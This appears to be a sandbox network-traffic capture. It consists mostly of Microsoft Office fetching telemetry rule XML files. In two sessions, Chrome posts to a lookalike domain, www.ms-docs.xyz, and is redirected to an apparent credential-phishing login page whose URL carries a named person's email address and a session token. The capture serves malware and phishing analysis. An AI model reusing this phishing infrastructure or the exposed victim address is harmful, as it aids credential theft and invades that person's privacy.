2024-12-03 14:32:29 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.9	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:29 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 9d60b28b-101e-0017-33c7-4347c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143229Z-174f7845968cdxdrhC1EWRg0en00000015yg00000000ghma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.9	49777	101.99.88.62	443	1184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:29 UTC	948	OUT	POST /check.php?tap=GFI0KhbrZPzQmxHwqXlNWHRiuSFjfWxfzpkYoBtrrYdNL38ntzCpN9OGBpr3SJFcT9hWpLQJaK8WjF6Yn1AEGDWnnpFlDpZF6vqlpbOhpFAX2IBz157dbFf5oW2KXv1T HTTP/1.1 Host: www.ms-docs.xyz Connection: keep-alive Content-Length: 9 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: null Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=64164147a0126881c9cba57751d03b4f
2024-12-03 14:32:29 UTC	9	OUT	Data Raw: 73 65 6e 64 3d 73 65 6e 64 Data Ascii: send=send
2024-12-03 14:32:40 UTC	504	IN	HTTP/1.1 302 Found Date: Tue, 03 Dec 2024 14:32:29 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: auth?email=garythrow@nationaltubesupply.com&sessid=MTczMzIzNjM0MzI4MjU0OTU5ZWFhNTZkNDI5NmZkZDQ5YTk4NGFlMzg0ZmI5NmNmZDFlY2Y1ODllYzBkZDdiZmU5YTJiNjEzZGJiMWZiNjlhMw== X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.9	49778	101.99.88.62	443	1184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:31 UTC	618	OUT	GET /auth/resources/favicon.ico HTTP/1.1 Host: www.ms-docs.xyz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=64164147a0126881c9cba57751d03b4f
2024-12-03 14:32:32 UTC	275	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:31 GMT Server: Apache Last-Modified: Sun, 06 Oct 2019 23:13:10 GMT Accept-Ranges: bytes Content-Length: 7886 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Connection: close Content-Type: image/x-icon
2024-12-03 14:32:32 UTC	7886	IN	Data Raw: 00 00 01 00 03 00 20 20 00 00 01 00 20 00 a8 10 00 00 36 00 00 00 18 18 00 00 01 00 20 00 88 09 00 00 de 10 00 00 10 10 00 00 01 00 20 00 68 04 00 00 66 1a 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c2 6c 00 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 6 hf( @ l

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.9	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:31 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 2fc5819c-d01e-002b-4a95-4325fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143231Z-174f78459685m244hC1EWRgp2c0000001600000000001eaz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.9	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:31 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:31 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: c5359d4f-401e-0035-67ab-4282d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143231Z-174f7845968xlwnmhC1EWR0sv800000015sg00000000mk2x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:32 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.9	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:31 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 27481374-801e-0078-46b4-42bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143231Z-174f7845968cpnpfhC1EWR3afc00000015rg000000007nzv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:32 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.9	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:31 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: a15be10d-401e-0029-636c-439b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143231Z-174f7845968n2hr8hC1EWR9cag00000015m000000000mbh5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.9	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:31 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: ce20f954-a01e-006f-7a27-4413cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143232Z-174f78459684bddphC1EWRbht400000015tg00000000bvgc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.9	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:33 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:33 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: e579458c-401e-0064-1dbd-4254af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143233Z-174f7845968pf68xhC1EWRr4h8000000167000000000hhvb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:33 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.9	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:33 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:34 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 4d2a6959-e01e-0085-41b2-42c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143234Z-174f7845968pf68xhC1EWRr4h800000016c0000000005yh0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:34 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.9	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:33 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:34 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 28cbb195-f01e-0096-56fa-4110ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143234Z-174f7845968cdxdrhC1EWRg0en00000015x000000000n9tp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:34 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.9	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:33 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:34 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: e2fa6bb8-f01e-0000-6cf3-44193e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143234Z-174f7845968frfdmhC1EWRxxbw000000160000000000k36a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
